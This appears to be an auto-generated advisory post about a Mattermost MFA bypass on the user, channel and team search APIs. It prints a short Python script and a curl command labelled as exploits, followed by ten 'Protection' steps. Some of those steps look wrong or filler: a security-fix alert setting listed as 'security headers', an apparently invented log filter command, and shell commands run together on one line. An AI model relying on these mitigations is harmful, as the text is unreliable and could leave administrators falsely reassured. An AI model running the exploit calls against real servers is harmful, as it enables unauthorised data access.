Listen to this Post
Mattermost versions 10.4.x <= 10.4.2, 10.3.x <= 10.3.3, and 9.11.x <= 9.11.8 fail to enforce Multi-Factor Authentication (MFA) on specific search APIs. This vulnerability allows authenticated attackers to bypass MFA protections when executing user search, channel search, or team search queries. The issue arises due to improper validation of MFA tokens during API calls, enabling attackers to access sensitive information without completing the MFA process. This flaw is particularly critical in environments where MFA is a primary security control. Patched versions (10.4.3, 10.3.4, 9.11.9, and 10.5.1) address this by enforcing MFA checks on all relevant search APIs.
DailyCVE Form:
Platform: Mattermost
Version: 10.4.0 – 10.4.2, 10.3.0 – 10.3.3, 9.11.0 – 9.11.8
Vulnerability: MFA Bypass
Severity: Moderate
Date: Mar 21, 2025
What Undercode Say:
Exploitation:
1. Exploit Code:
import requests
target_url = "https://<mattermost-server>/api/v4/users/search"
headers = {"Authorization": "Bearer <access_token>"}
payload = {"term": "admin"}
response = requests.post(target_url, headers=headers, json=payload)
print(response.json())
This script demonstrates how an attacker could exploit the vulnerability to search for users without MFA enforcement.
2. Exploit Command:
Use `curl` to bypass MFA:
curl -X POST "https://<mattermost-server>/api/v4/channels/search" -H "Authorization: Bearer <access_token>" -d '{"term": "general"}'
Protection:
1. Patch Installation:
Upgrade to patched versions:
sudo apt-get update && sudo apt-get install mattermost-server=<patched_version>
2. Configuration Check:
Verify MFA enforcement:
grep "EnforceMFA" /opt/mattermost/config/config.json
3. API Monitoring:
Monitor suspicious API calls:
tail -f /var/log/mattermost/access.log | grep "/api/v4/users/search"
4. Mitigation Script:
Temporarily disable vulnerable APIs:
sudo sed -i 's/"EnableUserSearch": true/"EnableUserSearch": false/' /opt/mattermost/config/config.json sudo systemctl restart mattermost
5. Log Analysis:
Analyze logs for exploitation attempts:
cat /var/log/mattermost/access.log | grep "POST /api/v4"
6. Network Restriction:
Restrict API access to trusted IPs:
iptables -A INPUT -p tcp --dport 8065 -s <trusted_ip> -j ACCEPT iptables -A INPUT -p tcp --dport 8065 -j DROP
7. MFA Enforcement:
Ensure MFA is enabled globally:
sudo mattermost config set ServiceSettings.EnableMultifactorAuthentication true
8. Audit Logs:
Regularly audit user activity:
mattermost logs --filter="action:search"
9. Security Headers:
Add security headers to mitigate risks:
sudo mattermost config set ServiceSettings.EnableSecurityFixAlert true
10. Incident Response:
Create an incident response plan:
echo "Incident Response Plan: MFA Bypass" > /opt/mattermost/security/incident_response.txt
By following these steps, organizations can mitigate the risk of exploitation and ensure their Mattermost instances remain secure.
References:
Reported By: https://github.com/advisories/GHSA-3gpx-p63p-pr5r
Extra Source Hub:
Undercode
